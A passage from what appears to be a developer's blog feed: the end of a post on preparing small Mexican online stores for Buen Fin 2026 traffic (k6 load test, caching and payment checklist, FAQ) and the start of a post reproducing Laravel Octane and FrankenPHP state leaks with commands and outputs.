  &lt;span class=&quot;token function&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;https://tutienda.mx/&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;https://tutienda.mx/producto/tu-mas-vendido/&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it with &lt;code&gt;k6 run test.js&lt;/code&gt;. Three rules: test pages, &lt;strong&gt;never your payment gateway&lt;/strong&gt;; on shared hosting, tell your provider first, because a load test looks a lot like an attack; and aim at three to five times your normal peak hour. There’s no public figure for how much a small store’s traffic rises during Buen Fin compared with an ordinary day; if your analytics kept last year’s, use that. If the test fails at 50 visitors, you know what to fix, and you have seven weeks to do it.&lt;/p&gt;
&lt;h2 id=&quot;if-your-store-runs-on-shopify-or-tiendanube&quot;&gt;If your store runs on Shopify or Tiendanube&lt;/h2&gt;
&lt;p&gt;Infrastructure isn’t your problem: Shopify handled &lt;a href=&quot;https://www.shopify.com/investors/press-releases/shopify-merchants-achieve-record-breaking-14-6-billion-in-black-friday-cyber-monday-sales&quot;&gt;489 million requests per minute&lt;/a&gt; at its edge over Black Friday and Cyber Monday 2025, and its guide says special preparation is only needed if you expect “tens of thousands of customers” starting checkout within minutes. Yours are the other sections: theme weight and the apps you load on every page, the gateway and its pending states, cash voucher validity, and your stock buffer.&lt;/p&gt;
&lt;h2 id=&quot;the-two-weeks-before-checklist&quot;&gt;The two-weeks-before checklist&lt;/h2&gt;





















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What&lt;/th&gt;&lt;th&gt;How you verify it&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;HTML caching on for browsers&lt;/td&gt;&lt;td&gt;&lt;code&gt;cf-cache-status: HIT&lt;/code&gt; on the second request to a product page&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;No page sends &lt;code&gt;Set-Cookie&lt;/code&gt; to visitors&lt;/td&gt;&lt;td&gt;The same &lt;code&gt;curl -sI&lt;/code&gt; as above&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cart, checkout and account excluded from cache&lt;/td&gt;&lt;td&gt;Add something to the cart in another window and check the counter updates&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;New prices visible&lt;/td&gt;&lt;td&gt;Purge the cache when offers go live and check in a private window&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Short cash-voucher validity&lt;/td&gt;&lt;td&gt;Test OXXO order you don’t pay: on expiry, order cancelled and stock back&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;“Pending” payments treated as pending&lt;/td&gt;&lt;td&gt;Test purchase with 3-D Secure that you don’t complete&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Real server cron&lt;/td&gt;&lt;td&gt;&lt;code&gt;DISABLE_WP_CRON&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; and a task every minute&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Buffer on best sellers&lt;/td&gt;&lt;td&gt;Listed stock below real stock&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SSL certificate valid past November 17&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://ortamarco.me/en/tools/domain-health-report/&quot;&gt;Domain health report&lt;/a&gt; (HTTPS, redirect and HSTS)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Load test passed&lt;/td&gt;&lt;td&gt;k6 or Loader.io with no errors at three times your peak&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Plan B for payments&lt;/td&gt;&lt;td&gt;Payment link and WhatsApp ready in case the gateway or the bank fails&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;If you need a store or site in Mexico built to survive a date like this, that’s &lt;a href=&quot;https://ortamarco.me/en/web-development-service/&quot;&gt;what I do&lt;/a&gt;.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When is Buen Fin 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; From Friday November 13 to Tuesday November 17, 2026. It is the 16th edition and runs five days because it includes Monday November 16, the observed Revolution Day holiday. Business registration is free at elbuenfin.org, from September 8 to November 12. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why do online stores crash during Buen Fin? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Usually because every visit reaches the server uncached and the host runs out of the processes it allows. Shared plans have fixed limits (20 PHP workers on Hostinger&amp;#39;s entry plan, 25 processes per cPanel account on HostGator Mexico) and return a 503 error past them. The payment gateway can also fail when it rate-limits, or the customer&amp;#39;s bank, which is out of your hands. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does Cloudflare&amp;#39;s free plan protect a store from Buen Fin traffic? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It helps, but not just by switching it on. Cloudflare does not cache HTML by default, so without a Cache Rule every page still hits your host. The free plan allows up to 10 rules, and one is enough to cache pages for browsers while excluding cart, checkout and account. The virtual queue (Waiting Room) only exists on Business and Enterprise plans. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does a pending OXXO payment lock my inventory? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It can, for days. Stripe OXXO vouchers expire after 5 days by default (configurable from 1 to 7) and Mercado Pago&amp;#39;s after 1 to 30. In WooCommerce, delayed-payment orders go on hold and the 60-minute hold-stock setting only cancels orders pending payment, so the item stays reserved until the gateway plugin cancels the order when the voucher expires. Shorten validity for the campaign and test it with an order you do not pay. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I load test an online store? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; With k6, free and open source, or Loader.io, whose free plan runs up to 10,000 clients in a one-minute test. Simulate visitors on the home page and best sellers, never on the payment gateway, aim at three to five times your peak hour, and warn your shared hosting provider first, because a load test looks like an attack. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Buen Fin</category><category>E-commerce</category><category>WooCommerce</category><category>Hosting</category><category>Payments</category><category>Mexico</category><author>Marco Orta</author></item><item><title>Laravel Octane + FrankenPHP: What Actually Breaks (I Reproduced Every Leak)</title><link>https://ortamarco.me/en/blog/what-breaks-laravel-octane-frankenphp/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/what-breaks-laravel-octane-frankenphp/</guid><description>I ran Laravel 13 on Octane + FrankenPHP and reproduced each leak. The famous singleton warning is misstated, and --max-requests=0 won&apos;t even start.</description><pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Octane keeps your Laravel application in memory between requests. That is where the speed comes from, and it is where everything that breaks comes from. Almost every “Octane gotchas” article repeats the same warning: a singleton that receives the request in its constructor captures the first request forever. I built a Laravel 13 app on Octane with FrankenPHP in Docker and reproduced each failure with &lt;code&gt;curl&lt;/code&gt;, and that warning is wrong as usually stated. The leaks that do happen come from somewhere else.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Three results surprised me. A request-capturing singleton resolved during a request does &lt;strong&gt;not&lt;/strong&gt; leak, because Octane handles every request on a clone of the application. &lt;code&gt;--max-requests=0&lt;/code&gt;, which means “unlimited” on Swoole and RoadRunner, stops FrankenPHP from &lt;strong&gt;starting at all&lt;/strong&gt;. And the features the docs mark as Swoole-only don’t throw on FrankenPHP: most of them silently do something else. Everything below comes with the command and the output.&lt;/p&gt;
&lt;p&gt;If you haven’t decided whether Octane is worth it for your app, start with &lt;a href=&quot;https://ortamarco.me/en/blog/laravel-performance-optimization-guide/&quot;&gt;the Laravel performance guide&lt;/a&gt;; this post is for the step after “let’s turn it on”.&lt;/p&gt;
&lt;h2 id=&quot;the-lab&quot;&gt;The lab&lt;/h2&gt;





























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Component&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Laravel&lt;/td&gt;&lt;td&gt;13.32.0 (skeleton requires PHP ^8.3)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;laravel/octane&lt;/td&gt;&lt;td&gt;2.19.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FrankenPHP&lt;/td&gt;&lt;td&gt;1.12.7, PHP 8.5.10 ZTS, Caddy 2.11.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Image&lt;/td&gt;&lt;td&gt;&lt;code&gt;dunglas/frankenphp:latest&lt;/code&gt; (Debian 13) + &lt;code&gt;pcntl&lt;/code&gt; + Composer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Load tool&lt;/td&gt;&lt;td&gt;&lt;code&gt;wrk&lt;/code&gt;, pinned to separate CPUs&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;A fresh skeleton, nine small classes and a route file. Octane runs with &lt;code&gt;php artisan octane:frankenphp&lt;/code&gt;; the comparison mode is FrankenPHP’s classic &lt;code&gt;php-server&lt;/code&gt;, which boots Laravel on every request the way PHP-FPM does.&lt;/p&gt;
&lt;h2 id=&quot;before-it-even-starts-pcntl-zip-and-the-musl-binary&quot;&gt;Before it even starts: pcntl, zip and the musl binary&lt;/h2&gt;
&lt;p&gt;Three things got in the way before the first request:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The official FrankenPHP image has no &lt;code&gt;pcntl&lt;/code&gt;.&lt;/strong&gt; Without it, &lt;code&gt;octane:frankenphp&lt;/code&gt; dies immediately:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Error  Undefined constant &amp;quot;Laravel\Octane\Commands\Concerns\SIGINT&amp;quot;
at vendor/laravel/octane/src/Commands/Concerns/InteractsWithServers.php:174
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Dockerfile in the Octane docs runs &lt;code&gt;install-php-extensions pcntl&lt;/code&gt; for exactly this reason. Copy that line.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;It has no &lt;code&gt;zip&lt;/code&gt; or &lt;code&gt;unzip&lt;/code&gt; either&lt;/strong&gt;, so &lt;code&gt;composer require&lt;/code&gt; fails inside it. Install dependencies in a Composer stage and copy &lt;code&gt;vendor/&lt;/code&gt; over.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;On Alpine, &lt;code&gt;octane:install&lt;/code&gt; downloads the musl binary.&lt;/strong&gt; When there’s no &lt;code&gt;frankenphp&lt;/code&gt; on the PATH, Octane downloads one, and it picks the glibc build only if &lt;code&gt;getconf GNU_LIBC_VERSION&lt;/code&gt; succeeds. On Alpine it doesn’t, so you get the 173 MB musl build. FrankenPHP’s own performance guide says to “avoid musl in production” because PHP is slower on it, especially in ZTS mode. On my trivial benchmark route I couldn’t measure a difference (5,900 req/s against 5,800-6,100 on glibc), but the &lt;a href=&quot;https://frankenphp.dev/docs/known-issues/&quot;&gt;known-issues page&lt;/a&gt; lists concrete gaps, such as &lt;code&gt;GLOB_BRACE&lt;/code&gt; not being available. Prefer the Debian images.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;1-singletons-the-leak-everyone-describes-isnt-the-one-that-bites&quot;&gt;1. Singletons: the leak everyone describes isn’t the one that bites&lt;/h2&gt;
&lt;p&gt;The binding every article uses as its example:&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// AppServiceProvider::register()&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;singleton&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name static-context&quot;&gt;RequestEcho&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name type-declaration&quot;&gt;Application&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;RequestEcho&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;request&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resolved inside a route, with one worker so every request hits the same one:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;?user=alice → {&amp;quot;query_user&amp;quot;:&amp;quot;alice&amp;quot;,&amp;quot;singleton_sees&amp;quot;:&amp;quot;alice&amp;quot;}
?user=bob   → {&amp;quot;query_user&amp;quot;:&amp;quot;bob&amp;quot;,&amp;quot;singleton_sees&amp;quot;:&amp;quot;bob&amp;quot;}
?user=carol → {&amp;quot;query_user&amp;quot;:&amp;quot;carol&amp;quot;,&amp;quot;singleton_sees&amp;quot;:&amp;quot;carol&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No leak. The reason is in Octane’s &lt;code&gt;Worker::handle()&lt;/code&gt;: every request runs on &lt;code&gt;$sandbox = clone $this-&amp;gt;app&lt;/code&gt;, and a singleton resolved on that clone dies with it at the end of the request. The famous warning is true only in two situations, and they’re what you should be looking for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The singleton is resolved during boot.&lt;/strong&gt; The &lt;a href=&quot;https://laravel.com/docs/13.x/octane&quot;&gt;Octane docs&lt;/a&gt; phrase it precisely: the problem is when the instance “is resolved during the application boot process”. I resolved the same class in &lt;code&gt;boot()&lt;/code&gt;, as an eager package would:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;?user=alice → {&amp;quot;query_user&amp;quot;:&amp;quot;alice&amp;quot;,&amp;quot;singleton_sees&amp;quot;:null,&amp;quot;singleton_url&amp;quot;:&amp;quot;http://localhost:8000&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It doesn’t capture the first request. It captures the &lt;strong&gt;fake console request&lt;/strong&gt; that Laravel binds while booting (URL = &lt;code&gt;APP_URL&lt;/code&gt;, no input), and keeps it for every request.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Something resolves it through the base application.&lt;/strong&gt; This is the one that really captures the first request. A listener registered in &lt;code&gt;boot()&lt;/code&gt; that resolves lazily through &lt;code&gt;$this-&amp;gt;app&lt;/code&gt;, which is the original application Octane clones, not the clone:&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// AppServiceProvider::boot(). Nothing is resolved here yet.&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;listen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;lab.who&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name static-context&quot;&gt;RequestEchoViaProvider&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;?user=alice → &amp;quot;alice&amp;quot;
?user=bob   → &amp;quot;alice&amp;quot;
?user=carol → &amp;quot;alice&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first request resolved the singleton on the base app, and it stayed there for the life of the worker. Adding the class to &lt;code&gt;flush&lt;/code&gt; in &lt;code&gt;config/octane.php&lt;/code&gt; fixed it (&lt;code&gt;alice&lt;/code&gt;, &lt;code&gt;bob&lt;/code&gt;, &lt;code&gt;carol&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The same mechanism turns stateful singletons into a data leak between users. A &lt;code&gt;CurrentTenant&lt;/code&gt; singleton that lives on the base app (because something resolved it at boot), with a middleware that sets it only when the request carries &lt;code&gt;X-Tenant&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;-H &amp;#39;X-Tenant: acme&amp;#39; → {&amp;quot;singleton_tenant&amp;quot;:&amp;quot;acme&amp;quot;,&amp;quot;scoped_tenant&amp;quot;:&amp;quot;acme&amp;quot;}
(no header)         → {&amp;quot;x_tenant_header&amp;quot;:null,&amp;quot;singleton_tenant&amp;quot;:&amp;quot;acme&amp;quot;,&amp;quot;scoped_tenant&amp;quot;:null}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The anonymous request inherited &lt;code&gt;acme&lt;/code&gt;. With four workers it’s worse to debug: only the worker that served &lt;code&gt;acme&lt;/code&gt; leaked, so one request in four came back wrong. The same class registered with &lt;code&gt;scoped()&lt;/code&gt; instead of &lt;code&gt;singleton()&lt;/code&gt; returned &lt;code&gt;null&lt;/code&gt; on every request without the header.&lt;/p&gt;
&lt;p&gt;What to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;scoped()&lt;/code&gt; for anything that holds per-request state (tenant, current user, locale).&lt;/li&gt;
&lt;li&gt;Don’t resolve request-dependent services in &lt;code&gt;boot()&lt;/code&gt;, and look for listeners and macros registered in &lt;code&gt;boot()&lt;/code&gt; that call &lt;code&gt;$this-&amp;gt;app-&amp;gt;make()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For anything you can’t change (a package), add it to &lt;code&gt;flush&lt;/code&gt; in &lt;code&gt;config/octane.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For services that need the request or config, inject a resolver, &lt;code&gt;fn () =&amp;gt; Container::getInstance()&lt;/code&gt;, instead of the object.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;2-static-state-grows-until-the-worker-restarts&quot;&gt;2. Static state grows until the worker restarts&lt;/h2&gt;
&lt;p&gt;A static array that gets 10 KB per request, which is what a naive in-memory cache or a registry of “already processed” items does:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;req#1    worker dcb87b  items 1    mem_kb 5667
req#100                 items 100  mem_kb 7001
req#300                 items 300  mem_kb 9410
req#500                 items 500  mem_kb 11810
req#501  worker c5125d  items 1    mem_kb 1253   ← restart at --max-requests=500
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;About 12 KB per request, reset only when Octane restarts the worker after 500 requests, which is the default. The restart doesn’t appear in the logs, and it costs little: 1.85 ms before, 4.40 ms on the first request of the new worker, 2.19 ms after.&lt;/p&gt;
&lt;p&gt;A trap when you test this yourself: my first version used &lt;code&gt;str_repeat(&amp;#39;x&amp;#39;, 10240)&lt;/code&gt; and memory stayed &lt;strong&gt;flat&lt;/strong&gt; over 500 requests. OPcache folds that constant expression into a single interned string, so every array item pointed at the same memory. With &lt;code&gt;Str::random()&lt;/code&gt; the leak showed. If your leak test comes back clean, check that the data is actually different on each request.&lt;/p&gt;
&lt;h2 id=&quot;3---max-requests0-doesnt-mean-unlimited-on-frankenphp&quot;&gt;3. &lt;code&gt;--max-requests=0&lt;/code&gt; doesn’t mean “unlimited” on FrankenPHP&lt;/h2&gt;
&lt;p&gt;On &lt;a href=&quot;https://openswoole.com/docs/modules/swoole-server/configuration&quot;&gt;OpenSwoole&lt;/a&gt;, &lt;code&gt;max_request&lt;/code&gt; 0 means no limit, and on &lt;a href=&quot;https://docs.roadrunner.dev/docs/php-worker/pool&quot;&gt;RoadRunner&lt;/a&gt; “zero (or nothing) means no limit” for &lt;code&gt;max_jobs&lt;/code&gt;. On FrankenPHP:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;php artisan octane:frankenphp --max-requests&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Error: loading initial config: … frankenphp app module: start: failed to initialize workers:
too many consecutive failures: worker public/frankenphp-worker.php has not reached frankenphp_handle_request().
&lt;/code&gt;&lt;/pre&gt;
